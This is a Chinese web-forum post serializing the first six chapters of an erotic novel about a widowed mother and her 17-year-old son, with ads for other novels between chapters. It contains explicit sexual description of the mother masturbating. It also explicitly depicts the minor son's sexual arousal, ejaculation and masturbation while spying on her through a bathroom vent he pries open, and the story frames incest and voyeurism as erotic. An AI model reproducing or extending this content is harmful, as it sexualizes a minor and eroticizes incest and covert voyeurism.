登录 首页
公告
移除广告,支持支付宝
十步杀一人 / 2025/11/05 10:34 / 712 / 89 /
【小说】孽藤

第一卷:寂寞深渊 第一章:无声的房子
  清晨六点半,生物钟像最精准的瑞士机芯,准时在苏晴的脑中响起。她没有睁眼,只是静静地躺着,听觉先一步苏醒。
  窗外,天光还带着一层薄薄的青灰色,鸟鸣声零零碎碎,像撒了一把水晶珠子在天鹅绒上。而这栋房子里,唯一的声响,是客厅那座老式摆钟沉稳的「滴答」声,不疾不徐,像一个垂暮老者数着所剩无几的日子。
  她深吸一口气,空气里是自己身上残留的沐浴露清香,以及一丝……怎么也散不去的,属于她一个人的,孤单的味道。
  苏晴坐起身,丝质的睡裙像水一样从她肩头滑落,露出半边浑圆白皙的肩膀。三十八岁的女人,身体却像是被时光遗忘在了二十八岁。常年的舞蹈功底,让她的每一寸肌理都保持着惊人的紧致与柔韧。小腹平坦得没有一丝赘肉,一双长腿在晨光下泛着牛奶般的光泽。她赤着脚下床,脚踝纤细,脚背的弧度优美得像天鹅的颈项。
  镜子里的女人,长发如瀑,眉眼温婉,素颜的皮肤依旧细腻。可只有苏晴自己知道,这副完美的皮囊之下,包裹着一颗多么干涸、多么焦渴的灵魂。
  她熟练地为自己套上一件素色的家居服,走进厨房,开始为儿子陈默准备早餐。煎蛋的「滋啦」声,是这栋房子里每天第一缕充满烟火气的声音。牛奶倒进杯子,面包片从烤面包机里「叮」地一声弹出来,涂上黄油。一切都井井有条,精确得像一场演练了千百遍的舞台剧。
  「妈,早上好。」
  陈默打着哈欠从楼上走下来,十七岁的少年,身形已经抽条得很高,穿着宽大的校服,脸上还带着没睡醒的惺忪。他继承了母亲的清秀五官和父亲的高大骨架,是个安静又好看的男孩。
  「早。快来吃吧,要迟到了。」苏晴把煎得恰到好处的溏心蛋推到他面前,语气温柔得能掐出水来。
  「嗯。」陈默坐下来,拿起牛奶喝了一大口,喉结上下滚动。他的目光落在母亲的脸上,今天的妈妈也很美,像画里的人。他从小就觉得自己的妈妈和别人的不一样,她从不大声说话,走路的姿势很好看,身上总是有淡淡的香味。她是完美的,像一尊供在圣坛上的白玉观音,干净,圣洁,没有一丝瑕疵。
  「今天美术课要交上周的素描作业,我放书包里了。」陈默一边吃着面包,一边含混地说。
  「好,别忘了。晚上想吃什么?红烧排骨怎么样?」
  「行,妈你做什么都好吃。」陈默笑起来,露出两颗小小的虎牙,还是孩子气的模样。
  这温馨的、寻常的母子对话,是这座房子白天的背景音。吃完早餐,苏晴送儿子到门口,为他理了理有些翘起的衣领,叮嘱道:「路上小心,过马路看车。」
  「知道啦,妈。我走了。」
  陈默背着画板和书包的身影消失在巷口,苏晴脸上的温柔笑意,也像被风吹散的雾气一样,一点点淡去。
  她关上门,门轴发出一声轻微的「吱呀」声。
  「咔哒。」
  门锁落下的声音,像一个开关。
  整个世界,瞬间安静了下来。
  之前被母子俩的交谈声、餐具的碰撞声所掩盖的、那巨大的、无边无际的寂静,此刻如同海啸一般,从房子的每一个角落里席卷而来,瞬间将苏晴淹没。
  她站在玄关,能清晰地听见自己胸腔里心脏的跳动声,一下,又一下,孤独而固执。
  这栋房子太大了。两层楼,四个卧室,一个大客厅,一个独立的餐厅,还有一个阳光很好的画室,那是亡夫留给儿子的。丈夫去世这五年,她和儿子两个人住在这里,就像两粒豆子,被扔进了一个空旷的米缸。
  苏晴开始像往常一样打扫卫生。她用吸尘器仔细地吸掉地板上的每一根头发,用抹布擦拭着一尘不染的家具。这些家具大多是丈夫在世时亲自挑选的,她抚摸着冰凉的红木桌面,仿佛还能感受到他手掌的余温。
  她把陈默换下的脏衣服扔进洗衣机,儿子的衣服上,有独属于青春期男生的、混杂着汗水和阳光的荷尔蒙气息。苏晴的脸颊微微有些发烫,她迅速地关上洗衣机门,仿佛那是什么烫手的东西。
  做完家务,时间才刚到上午十点。剩下的漫长时光,像一条看不到尽头的白色走廊。她打开电视,新闻里主持人字正腔圆地播报着她毫不关心的时事。她拿起一本书,看了半天,视线却无法在任何一个字上聚焦。
  她的身体,像一架上满了弦却无处弹奏的竖琴,每一根神经都在寂寞中嗡嗡作响。
  尤其是夜晚。
  当儿子回到家,房子里会重新充盈起短暂的活力。晚餐,功课,闲聊。等到了十点,陈默对她说「妈,我睡了」的时候,苏晴一天中最难熬的时刻,才刚刚开始。
  「咔哒。」
  儿子卧室的门关上了。
  又是一声轻响,再次将苏晴的世界劈成两半。一半是为人母的、光鲜亮丽的白昼,一半是属于她自己,却无处安放的、黑暗粘稠的午夜。
  她一个人坐在空旷的客厅里,电视的光影在她脸上明明灭灭。她看着屏幕里拥抱接吻的男女主角,身体深处,某个沉睡了太久的角落,开始传来一阵阵细微的、酸痒的骚动。
  她的呼吸变得有些急促,小腹深处升起一股熟悉的、让她既渴望又憎恶的热流。
  苏晴关掉电视,站起身。
  她没有上楼回自己的主卧,而是像梦游一样,赤着脚,一步一步,走向了主卧旁边的……那间终年紧锁的浴室。
  那里,藏着她最羞耻的秘密。
  也藏着她唯一的,解脱。


十步杀一人 / 发表于: 2025/11/05 10:37:24

第二章:女王的秘密仪式
  主卧旁边的这间浴室,是苏晴的专属领地。
  陈默用的是楼下客房的卫生间,所以这里,是她在这栋大房子里唯一一个,可以完全卸下所有伪装,面对最真实的、也最不堪的自己的地方。
  「咔哒。」
  黄铜的门把手在她的手心转动,锁舌弹进凹槽的声音,清脆得像一声命令。这个声音,是她秘密仪式的开场哨。
  她没有立刻打开花洒,而是走到了巨大的盥洗台前,抬头看向镜子。水汽还未升腾,镜面清晰地映出了她的脸。一张温婉、美丽,甚至带着几分清冷圣洁的脸。这张脸,是陈默眼中母亲的脸,是邻居眼中陈太太的脸,是所有人眼中那个坚强而得体的单身母亲的脸。
  可苏晴知道,这张脸下面,藏着一个怪物。一个贪婪、饥渴,每到夜晚就会张开血盆大口的怪物。
  她的指尖,轻轻解开了家居服的盘扣。衣服顺着她光滑的身体滑落,堆在脚踝边,像一滩柔软的泥。镜子里,一具成熟到极致的、完美的女性胴体,就这么赤裸裸地展现在她自己眼前。
  乳房因为没有了束缚,呈现出最自然的、饱满挺翘的形状,顶端的乳头是精致的淡粉色,此刻因为空气的微凉,已经微微地有些硬了。她平坦的小腹下,是两道优美的人鱼线,消失在两腿之间那片被精心修剪过的、浓密的黑色毛发里。那片幽深的、神秘的花园,五年了,再也没有迎来过真正的访客。
  她的手,不受控制地抚上了自己的身体。从锁骨,到乳房。指腹划过坚挺的乳头时,一阵酥麻的电流瞬间窜遍全身,让她忍不住轻哼了一声。她的手继续向下,划过平坦的小腹,最终,停在了那片湿热的神秘地带。
  已经有些湿了。
  仅仅是看着镜中自己的身体,想着那些被尘封的往事,身体就起了最诚实的反应。她的手指,试探着拨开丰润的阴唇,找到了那颗早已充血挺立的阴蒂。
  「嗯……」
  她轻轻地揉搓着,闭上了眼睛。记忆中,丈夫粗糙的手掌曾经就是这样,带着薄茧,有力地揉捏着这里,让她很快就溃不成军。可是,自己的手指太温柔,太熟悉了,它们只能带来一阵阵隔靴搔痒般的快感,却无法填满身体最深处那巨大的、令人发疯的空虚。
  不够……远远不够……
  苏晴的呼吸变得急促起来,双颊泛起动情的潮红。她知道自己需要什么。她需要被填满,被贯穿,被一种坚硬的、有形的东西,狠狠地捅进自己这具寂寞了太久的身体里。
  她睁开眼,眼神里充满了挣扎和羞耻,但身体的欲望最终还是战胜了一切。她转过身,踮起脚,打开了浴柜最顶层、最深处的那个小格子。
  那里面,放着一个紫色的丝绒袋。
  她的手有些颤抖地拿出袋子,从里面倒出了一根通体碧绿、散发着幽幽冷光的玉石按摩滚轮。这是她前几年买来美容用的,一端是用来滚脸的小滚轮,而另一端,为了方便手持,被打磨成了一根光滑的、顶端浑圆的、比男人拇指略粗的玉石柱。
  不知从什么时候起,这个原本无辜的美容工具,就变成了她夜晚最肮脏的秘密。
  苏晴拿着这根冰凉的凶器,重新回到镜子前。她看着镜中那个双眼迷离、面色潮红,手里握着一根假阳具的自己,一股巨大的羞耻感涌上心头。她觉得自己像个不知廉耻的荡妇。
  可是,身体的渴望却像疯长的藤蔓,将她的理智寸寸勒紧。
  她打开了花洒,温热的水流哗哗地冲刷着地面,这巨大的水声,是她唯一能依赖的遮羞布。
  她背靠着冰凉的瓷砖墙壁,分开自己那双修长紧致的大腿,一手扶着墙,另一只手,则握着那根冰凉滑腻的玉石柱,对准了自己那早已泥泞不堪的穴口。
  「啊……」
  当冰冷的玉石顶端触碰到温热的穴肉时,那冰火两重天的刺激,让她忍不住叫出了声。她赶紧用另一只手死死捂住自己的嘴,只留下一双水汽氤氲的眼睛,惊恐又兴奋地看着镜中的自己。
  她缓缓地、却又坚定地,将那根玉石柱捅了进去。
  「呜……嗯……」
  被填满了。
  那是一种久违的、被撑开的、充实的饱胀感。尽管这东西是冰冷的、没有生命的,但它却实实在在地,捅进了她最干渴的地方。冰冷的玉石被她温热紧致的嫩肉紧紧包裹、吮吸,每一次轻微的动作,都能带动穴道里最敏感的软肉,碾过最渴望被摩擦的G点。
  苏晴再也站不住了,她身体一软,滑坐到地上,背靠着浴缸的边缘。她一只手捂着嘴,另一只手握着玉石滚轮的末端,开始缓缓地、一下一下地抽插起来。
  「嗯……啊……呜呜……」
  压抑的呜咽声和黏腻的水声,与哗哗的花洒声混合在一起,谱成了一曲淫靡而绝望的交响。她的身体随着抽插的动作前后摇晃,丰满的乳房剧烈地颤抖着,腰肢柔软地扭动,像一条在欲望的潮水中濒死的美人鱼。
  快感像潮水一样,一波接着一波地冲击着她的理智。她感觉自己整个小腹都在发麻,一股滚烫的暖流正在子宫深处汇聚,寻找着爆发的出口。
  她加快了速度,玉石滚轮在她湿滑的穴道里进出得越来越快,带出「噗嗤噗嗤」的、令人脸红心跳的水声。
  「啊!」
  终于,在一阵剧烈的痉挛中,她的身体猛地弓起,脚趾死死地蜷缩在一起。一股滚烫的爱液从子宫深处喷涌而出,浇灌在那冰冷的玉石上。她的脑子一片空白,眼前只有一片炫目的白光。
  高潮的余韵过去后,巨大的空虚和更巨大的羞耻感,如同冰水般将她从头到脚浇了个透。
  她瘫坐在地上,任由温热的水流冲刷着自己狼藉的身体。她看着自己手中的那根凶器,上面还沾着她白浊的体液,眼泪,终于不受控制地流了下来。
  她一边哭,一边机械地清洗着自己的身体,清洗着那根玉石滚轮。然后,她像做贼一样,将它小心翼翼地擦干,放回那个紫色的丝绒袋,藏回那个永远不见天日的角落。
  做完这一切,她擦干身体,穿上睡裙,走出了浴室。
  回到卧室,她躺在空旷的大床上,被子冰冷得像铁。刚才那场激烈的情事,没有给她带来丝毫的温暖,反而让她感觉……比之前,更加的寒冷,更加的孤独。
  而她不知道的是。
  就在刚才,在她以为万籁俱寂的深夜里。
  她卧室与儿子卧室之间的那堵墙壁,隔音效果,其实并没有她想象中那么好。
  那几声被她死死压抑在喉咙里的、几乎溢出指缝的、带着哭腔的欢愉呻吟,像一根最细微的羽毛,悄无声息地,飘进了隔壁那个,本该早已熟睡的……少年的梦里。

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

十步杀一人 / 发表于: 2025/11/05 10:37:55

第三章:墙壁的另一边
  陈默的房间,与母亲的主卧共享着一面承重墙。
  这栋老房子的格局就是如此,建造时没人会想到,这薄薄的一层砖石,日后会成为传递罪恶与欲望的温床。
  此刻,将近午夜十一点,陈默刚合上最后一本练习册。高三的生活就像一台巨大的绞肉机,把所有的时间和精力都碾成了碎末。他揉了揉酸涩的眼睛,关掉台灯,整个房间瞬间陷入一片黑暗。
  窗外的月光很好,像水银一样泄了一地,将房间里的物体勾勒出模糊的轮廓。他躺在床上,大脑因为过度使用而有些兴奋,一时半会儿还睡不着。
  就在这万籁俱寂的时刻,一阵极其细微的、奇怪的声音,像一根牛毛细针,穿透了墙壁,扎进了他的耳膜。
  「嗯……」
  那声音很轻,带着一种压抑的鼻音,像是在忍受着什么痛苦。
  陈默的第一个念头是:妈生病了?
  他立刻坐起身,侧耳倾听。那声音断断续续,时有时无。他有些担心,想过去敲门问问,又怕母亲已经睡下,贸然打扰不好。他犹豫了一下,还是决定再听听。
  他悄无声息地下了床,像一只猫一样,光着脚,贴到了那面冰冷的墙壁上。他将耳朵紧紧地压在墙纸上,屏住了呼吸。
  这一次,他听得更清楚了。
  那根本不是痛苦的呻吟!
  那声音里,带着一种黏腻的、湿润的尾音,像小猫的呜咽,又像……像他偷偷在网上看的那些日本A片里,女优被操到情动时发出的那种声音。
  「呜……嗯……啊……」
  声音依旧被极力地压抑着,但那其中的情欲和欢愉,却像水汽一样,无论如何也掩盖不住,顽强地渗透了过来。
  陈默的大脑「嗡」的一声,瞬间一片空白。
  这……这是妈妈的声音?
  不可能!绝对不可能!他完美的、圣洁的、像观音菩萨一样的妈妈,怎么会发出这种……这种淫荡的声音?
  他的第一反应是恶心,一种像是吃了苍蝇般的生理性反胃。他心目中那座纯白无瑕的雕像,仿佛被人泼上了一桶最肮脏的污泥。
  可是,紧随其后的,是一种让他自己都感到恐惧的、该死的……好奇。
  妈妈在干什么?
  这个念头像一颗魔鬼的种子,在他脑子里迅速生根发芽。她是一个人。爸爸已经去世五年了。那么,能让她发出这种声音的……只有一种可能。
  这个认知,像一道闪电,劈开了他十七年来混沌的少年世界。他想到了生物课上学到的知识,想到了男生宿舍里那些关于「自慰」的、半真半假的荤段子。
  难道妈妈她……在用手……
  这个念头一出现,一幅无比清晰的、却又无比罪恶的画面,就不受控制地在他脑中形成了:他那美丽温柔的母亲,此刻正一个人躺在黑暗的大床上,褪下了睡裙,用她那双给自己做饭、洗衣、整理衣领的、纤细白皙的手,在抚摸着她两腿之间那个……自己从未见过,却又在无数影片里见过的、神秘的、湿润的私处……
  「轰!」
  一股滚烫的热血,猛地从他的小腹窜起,直冲大脑,然后又迅速地涌向了他身体的最下方。
  他低头,借着微弱的月光,能看到自己校服裤子的裆部,已经不受控制地、可耻地撑起了一个高高的帐篷。他那根还带着少年青涩的阴茎,此刻正像一头发疯的野兽,在他的裤裆里疯狂地叫嚣、勃起,涨得又硬又疼。
  他被自己的身体反应吓到了。
  他竟然……他竟然对自己发出淫叫的母亲,硬了!
  巨大的罪恶感和羞耻感,像两只无形的大手,死死地扼住了他的喉咙,让他几乎无法呼吸。他猛地从墙边退开,跌坐回床上,双手抱着头,身体因为震惊和恐惧而微微发抖。
  而墙壁那边的声音,还在继续。
  甚至……变得更加急促、更加清晰了。
  他听到了「噗嗤噗嗤」的、像是搅动泥沼的黏腻水声,还听到了母亲更加难以抑制的、带着哭腔的喘息。
  「啊……啊!……呜……」
  终于,在一声短促而尖锐的、被死死压抑在喉咙里的尖叫之后,一切,都归于了死寂。
  世界,又恢复了之前的安静。
  安静得可怕。
  陈默瘫在床上,大口大口地喘着粗气,额头上全是冷汗。他能听到的,只有自己那擂鼓般的心跳声,和自己那根依旧硬得发疼的鸡巴,在一下一下地、不甘地跳动着。
  他睡不着了。
  他睁着眼睛,死死地盯着天花板,直到天色泛起鱼肚白。
  脑子里,只有一个念头,像魔咒一样,盘旋不去。
  ——妈妈,她到底……在干什么?
  ——我必须……我必须亲眼看一看!

史上最强炼气期
李道然
修炼了将近五千年的方羽,还是没有突破炼气期……“我真的只有炼气期,但你们别惹我!”

十步杀一人 / 发表于: 2025/11/05 10:50:23

第四章:窥见的秘密
  第二天,陈默觉得自己像个活死人。
  一夜无眠的后果是,他的眼下挂着两圈浓重的青黑色,大脑像一团被塞满了湿棉花的浆糊,老师在讲台上说的每一个字,都像催眠的咒语。
  可他的精神,却又处在一种诡异的亢奋状态。
  昨晚听到的那些声音,像魔音灌耳,在他脑子里循环播放了一整夜。母亲那压抑的、带着哭腔的呻吟,那黏腻的、令人面红耳赤的水声……每一个音节,都在反复敲打着他那根名为「理智」的脆弱神经。
  餐桌上,他几乎不敢抬头看苏晴。
  当母亲把剥好的鸡蛋放进他碗里,指尖不经意地碰到他的手背时,他像触电一样猛地缩了回来。
  「怎么了?」苏晴温柔地问,眼里带着一丝关切。
  「没……没什么,妈。」陈默低着头,扒拉着碗里的粥,心脏狂跳。他不敢看母亲的手。就是这双温柔的手,昨晚……
  他不敢再想下去。
  他觉得自己肮脏,可耻。可在那肮脏和可耻的下面,又有一股更加汹??的、黑暗的暗流在涌动。他想知道真相。那个折磨了他一整夜的问题,像一根毒刺,深深地扎进了他的心里。
  他必须亲眼看一看。
  这个念头,一旦产生,就再也无法遏制。
  一整天,他都在策划着这件事。他像一个准备实施一场精密犯罪的罪犯,反复在脑海中推演着每一个细节。
  母亲的主卧浴室,他小时候经常进去。他记得那扇老式的木门上,为了通风,在门的下半部分开了一个百叶窗式的通风口。那个通风口很旧了,有几根木条已经有些松动,如果从外面用小刀片轻轻拨一下……
  他需要一个完美的时机,一个完美的借口。
  夜,终于再次降临。
  陈默躺在床上,却连校服都没脱。他竖着耳朵,像一只潜伏在暗处的猎豹,耐心地等待着猎物出现。
  十点,母亲像往常一样敲了敲他的门:「默默,早点睡,别太累了。」
  「知道了,妈。」他用尽量平稳的声音回答。
  他听着母亲的脚步声回到主卧,然后,是主卧浴室里传来的、隐约的水声。
  来了!
  陈默的心脏开始狂跳,血液在血管里奔流的声音,他自己都能听得一清二楚。他从床上爬起来,从文具盒里,拿出了一把最薄的美工刀片。
  他光着脚,地板冰凉的触感让他稍微冷静了一些。他将自己的房门拧开一道缝,客厅的夜灯幽幽地亮着,整个房子安静得能听见自己的心跳。
  他一步一步,走得比做贼还要小心。终于,他来到了那扇紧闭的浴室门前。
  他蹲下身,凑近那个百叶通风口。里面的灯光从木条的缝隙里透出来,将他紧张的脸照得忽明忽暗。
  他小心翼翼地,将美工刀片探进其中一根最松动的木条缝隙里,轻轻地向上一拨。
  「吱……」
  一声轻微得几乎无法察觉的响动后,那根木条,被他成功地拨开了一个足够他窥视的、小小的角度。
  陈默屏住呼吸,将一只眼睛,凑了上去。
  然后,他的世界,在这一刻,彻底崩塌、粉碎、重组。
  他看到了。
  他看到了他的母亲,他那个圣洁、完美的母亲,正一丝不挂地站在镜子前。她背对着门,所以陈默看到的是她毫无遮挡的、完美的背影。那蝴蝶骨的弧度优美得惊心动魄,腰窝深陷,再往下,是两瓣挺翘、饱满、圆润得如同满月般的臀瓣,中间那道深深的臀缝,一直延伸到神秘的、看不见的所在。
  陈默感觉自己的喉咙瞬间干得要冒烟了。
  然后,他看见母亲转过身,面对着镜子。于是,他也看见了那具身体的正面。那对随着她的动作微微晃动的、丰满的乳房,乳晕是淡淡的粉褐色,顶端的乳头已经硬挺地翘起。平坦的小腹,以及……那片他只在影片里见过的、神秘的黑色三角地带。
  这还不是最让他震惊的。
  他看见母亲从浴柜的高处,拿出了一个东西。
  ——那根他白天还在妈妈梳妆台上看到的、用来滚脸的玉石按摩滚轮!
  陈默的瞳孔,瞬间收缩到了极致。
  他眼睁睁地看着,母亲一手扶着盥洗台,分开了她那双修长的大腿。另一只手,则握着那根冰凉的玉石柱,缓缓地、毫不犹豫地,对准了自己那早已泛滥成灾、在灯光下闪着水光的私处。
  他看到了,那根冰凉的玉石柱,是如何被她温热紧致的穴肉一口口吞了进去。他看到了她丰腴的阴唇是如何贪婪地包裹住那根异物。他甚至能看到,随着玉石的深入,她的小腹微微地收缩了一下。
  「呜……」
  这一次,他不仅听到了声音,还亲眼看到了发出这声音的嘴。她的嘴唇微张,眼睛紧闭,长长的睫毛上沾着水汽,脸上是混合着极致的痛苦与极致的欢愉的、一种他从未见过的、淫荡的表情。
  然后,她开始动了。
  她扶着盥洗台,轻轻地挺动着腰肢,让那根玉石滚轮在她湿滑的穴道里缓缓地研磨、抽插。
  「噗嗤……噗嗤……」
  那黏腻的水声,不再是隔着墙壁的模糊声响,而是无比清晰的、带着画面的立体音。他能看到,每一次抽出,滚轮的顶端都会带出一串晶莹的、黏稠的淫丝,在灯光下闪着淫靡的光。
  他的母亲,他眼中那个完美的圣母,此刻正像一头发情的母兽,用一件冰冷的死物,疯狂地、不知羞耻地操着自己的逼。
  陈默感觉自己快要窒息了。
  他下身的阴茎,早已硬得像一根烧红的铁棍,将校服裤子顶出了一个夸张的弧度,前端甚至已经因为过度兴奋而渗出了一些清亮的液体,濡湿了内裤。
  他死死地咬着自己的嘴唇,不让自己发出任何声音。
  而浴室里的表演,也进入了最高潮。
  苏晴的动作越来越快,呼吸越来越急,口中的呻吟也越来越难以压抑。终于,她的身体猛地一僵,随即剧烈地颤抖起来。他看见她的大腿内侧肌肉紧绷,脚趾蜷缩,一股股的淫水从她两腿间涌出,顺着大腿流了下来。
  她高潮了。
  陈默也几乎在同一时间,再也无法忍受。他猛地捂住自己的嘴,身体靠着冰冷的门板,一股滚烫的精液,隔着裤子,喷射而出。
  世界,仿佛安静了。
  陈默瘫软在地上,浑身是汗,像刚从水里捞出来一样。
  他脑子里一片空白,只有母亲刚才那放荡的、淫乱的、被一根玉石操得高潮迭起的画面,像烙印一样,被深深地刻了进去。
  他知道,一切都回不去了。
  那个叫陈默的、普通的、纯洁的高中男生,在这一刻,已经死了。
  活下来的,是一个知道了母亲最羞耻的秘密,并对这个秘密,产生了最原始、最黑暗、最不可告人欲望的……儿子。

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

十步杀一人 / 发表于: 2025/11/05 11:01:06

第五章:失控的画笔
  第二天清晨,苏晴发现儿子有些不对劲。
  他起晚了,顶着一双布满血丝的眼睛,像是整夜没睡。吃饭的时候,他一言不发,头埋得低低的,几乎要戳进碗里去。她给他夹菜,他的肩膀会不自觉地抖一下,像只受惊的兔子。
  「默默,不舒服吗?脸色怎么这么差?」苏晴担忧地伸手,想探一探他的额头。
  「我没事!」
  陈默的反应激烈得超乎寻常,他猛地向后一仰,躲开了母亲的手,椅子腿和地板摩擦,发出一声刺耳的「嘎吱」声。
  空气瞬间凝固了。
  苏晴的手僵在半空,脸上闪过一丝受伤的神色。
  陈默也意识到自己反应过激了。他不敢看母亲的眼睛,只是低声含糊地解释:「……没事,妈。就是……昨晚做噩梦了,没睡好。」
  「这样啊……那今天别去画室了,早点回家休息。」苏晴收回手,声音里依旧是那份化不开的温柔。
  「嗯。」陈默胡乱地扒了两口饭,抓起书包就冲出了家门,几乎是落荒而逃。
  他逃离的,不是这个家,而是那个让他无法面对的母亲。
  学校里,陈默的状态更是糟糕到了极点。他坐在教室的最后一排,老师讲课的声音像从遥远的天边传来,他一个字也听不进去。
  他的脑子里,像放电影一样,一遍又一遍地,循环播放着昨晚看到的画面。
  母亲赤裸的身体。那对丰满挺翘的乳房,那片神秘浓密的黑森林,那两瓣被玉石滚轮撑开的、湿润的阴唇……每一个细节,都清晰得像是用刻刀,硬生生刻在了他的视网膜上。
  最要命的是,每当这些画面浮现,他身体的某个部位,就会立刻做出最诚实的、也是最可耻的反应。
  他不得不用书包死死地压在自己的大腿上,才能掩盖住校服裤子下面那个不合时宜的、坚硬的凸起。
  他觉得自己快要疯了。
  下午是美术课。这是他曾经最喜欢的课,但今天,画室里浓郁的松节油味道,却让他感到一阵阵的恶心。
  这节课的练习是人体结构素描。画板上,摆着一个冰冷的、毫无生气的石膏像。陈默握着炭笔,对着那尊「大卫」像,却迟迟无法落笔。
  他的手在抖。
  他的脑子里,根本不是什么大卫。而是一具温热的、柔软的、会呻吟、会颤抖、会喷水的,属于他母亲的身体。
  闭上眼,是她背对自己时,那惊心动魄的腰臀曲线。
  睁开眼,是她分开双腿,将那根冰凉的玉石捅进自己身体时,那既痛苦又享受的淫荡表情。
  「操!」
  他低声咒骂了一句,猛地低下头,手中的炭笔开始在画纸上疯狂地涂抹起来。
  他没有再去看那个石膏像。
  他画的,完全是脑子里的东西。
  他的笔尖在画纸上飞速地游走,线条粗粝、狂野,充满了压抑的、即将爆发的力量。他画的不是一个完整的人,而是一些支离破碎的、却又充满了致命诱惑力的局部。
  一截圆润的、被睡裙肩带勒出浅浅痕迹的肩膀。
  一只握着柱状物、因为用力而指节泛白的手。
  一条弓起的大腿,腿根内侧的肌肉因为紧张而绷成一道优美的弧线。
  还有……一双迷离的、含着水汽的、半睁半闭的眼睛,眼神里是无尽的欲望深渊。
  他画得越来越快,呼吸也越来越急促。他感觉自己下身的阴茎,在裤裆里涨得像要爆炸一样。他画的不是画,他是在发泄。他在用这种方式,将昨晚那场足以颠覆他整个世界的视觉冲击,狠狠地倾泻出来。
  「陈默,你在画什么?」
  一个声音,冷不丁地在他身后响起。
  陈默浑身一僵,像被当场抓获的小偷。他猛地回头,美术老师正皱着眉,站在他身后,看着他的画板。
  周围同学的目光,也齐刷刷地投了过来。
  陈默的大脑一片空白,他下意识地想用身体挡住画纸,但已经来不及了。
  画纸上,那些充满了情欲暗示的、破碎的人体局部,就这么赤裸裸地暴露在所有人的目光之下。虽然画得很隐晦,但那其中蕴含的、几乎要喷薄而出的性张力,任何一个成年人都能看得出来。
  「这是……你画的?」美术老师的语气里充满了震惊和一丝不易察觉的……欣赏,「线条很有力量,情绪也很饱满……但是,这和你平时的风格,很不一样。」
  「我……」陈默的脸涨得通红,一个字也说不出来。
  他飞快地将那张画从画板上撕了下来,胡乱地揉成一团,塞进了自己的书包,动作快得像是在销毁罪证。
  他不敢再待下去,抓起画板,在全班同学异样的目光中,低着头,冲出了画室。
  他一路狂奔,直到学校后面的小树林才停下来。他靠着一棵大树,大口大口地喘着粗气,心脏跳得像要从喉咙里蹦出来。
  羞耻、愤怒、恐惧……还有一丝变态的、被窥破秘密的兴奋。
  他从书包里,重新掏出了那团被揉皱的画纸,缓缓地展开。
  画纸上,那个女人的眼神,仿佛正透过纸背,幽幽地看着他。
  陈默死死地盯着那双眼睛,身体靠着粗糙的树干,慢慢地滑坐到地上。
  他将画纸举到眼前,另一只手,则颤抖着,伸进了自己那早已被顶得湿热一片的裤裆里。

我有九千万亿舔狗金
番茄第一帅哥
舔一个女神,你就是舔苟。舔一百个女神,一百个女神就是你的舔苟。陈远,觉醒终极舔苟系统,获得舔苟金九千万亿。一条终极舔王的故事,由此展开·····

十步杀一人 / 发表于: 2025/11/05 11:06:17

第六章:母亲的恐慌
  陈默那天很晚才回家。
  他没有去画室,而是在外面游荡了很久,直到天色完全黑透,他才像个幽灵一样,慢吞吞地挪回了家门口。
  他害怕推开那扇门。
  因为门后,有那个让他既渴望,又恐惧的女人。他的母亲。
  可他终究还是要回去的。他深吸一口气,用钥匙打开了门。
  客厅的灯亮着,苏晴正穿着一身藕荷色的真丝睡裙,坐在沙发上,手里拿着一本书,但显然心不在焉。听到开门声,她立刻站了起来,脸上带着一丝如释重负的关切。
  「默默,怎么这么晚才回来?吃饭了吗?」
  她的声音还是一如既往的温柔,但陈默却从那温柔里,听出了一丝不易察觉的紧张。
  「……在外面吃了点。」陈默换着鞋,不敢抬头看她。
  他的目光,不由自主地,落在了母亲的身上。那身真丝睡裙很薄,紧紧地贴着她玲珑有致的身体。胸前那对饱满的乳房,轮廓清晰可见,甚至能隐约看到顶端那两点凸起的乳头。睡裙的下摆只到她的大腿中部,露出两截笔直、匀称、白得晃眼的小腿。
  陈默的喉结上下滚动了一下,赶紧移开了视线。
  他知道,这身衣服下面,是怎样一具活色生香的、会流水的身体。
  「怎么了?在学校遇到什么事了吗?今天下午你们老师还给我打电话,说你……」苏晴朝他走了过来,身上那股熟悉的、混合着沐浴露和女人体香的味道,也随之飘了过来。
  这味道,曾经是陈默心中最安心的味道。但现在,这味道却像最强烈的催情剂,让他浑身的血液都开始加速奔流。
  「我没事!」他几乎是吼了出来,猛地后退了一步,像是在躲避什么洪水猛兽。
  苏晴被他这剧烈的反应吓了一跳,愣在了原地。她看着儿子,那个曾经最依恋自己的孩子,此刻正用一种她从未见过的、极其复杂的眼神看着自己。
  那眼神里,有躲闪,有恐惧,有挣扎,甚至……还有一丝她看不懂的、让她心惊肉跳的……灼热。
  一种可怕的预感,像冰冷的毒蛇,瞬间缠上了苏晴的心脏。
  她想到了自己昨晚在浴室里的……那件事。
  难道……
  不可能!她明明反锁了门,还开了那么大的水声……
  可是,儿子的反常,是从什么时候开始的?就是从昨天晚上开始的!他今天一整天都魂不守舍,现在又用这种眼神看自己……
  一个让她不寒而栗的念头,浮上了心头。
  ——我的秘密,被他发现了?
  这个念头一出现,苏晴的脸「唰」的一下,血色尽褪,变得惨白。
  她感觉自己的手脚都在发冷,心脏像是被人狠狠地攥住,连呼吸都变得困难起来。如果……如果真的被儿子发现了,发现了她最肮脏、最羞耻的一面……她该怎么办?她以后还怎么面对他?她在他心中那个完美的母亲形象,岂不是彻底崩塌了?
  「妈?你怎么了?脸色这么白?」陈默看到母亲的异样,也有些慌了。
  他毕竟还是个十七岁的少年。尽管心里已经被黑暗的欲望所占据,但看到母亲那副仿佛天塌下来一般的惊恐模样,他还是本能地感到了心疼和无措。
  「我……我没事。」苏晴勉强挤出一个比哭还难看的笑容,她不敢再看儿子的眼睛,转身走向厨房,「我去给你热杯牛奶吧,喝了……早点睡。」
  她的背影,看上去有些仓皇,甚至有些狼狈。
  陈默站在原地,看着母亲那微微有些颤抖的肩膀,心里五味杂陈。
  他知道,母亲恐怕已经猜到了什么。
  他刚才那躲闪的、却又带着欲望的眼神,对于一个心思细腻的女人来说,已经足够说明一切了。
  恐慌,同样也开始在陈默的心里蔓延。
  他害怕母亲会质问他,害怕那层薄薄的窗户纸被彻底捅破。他还没准备好,他不知道该如何面对那样的场景。
  于是,接下来的几天,这个家里出现了一种极其诡异的气氛。
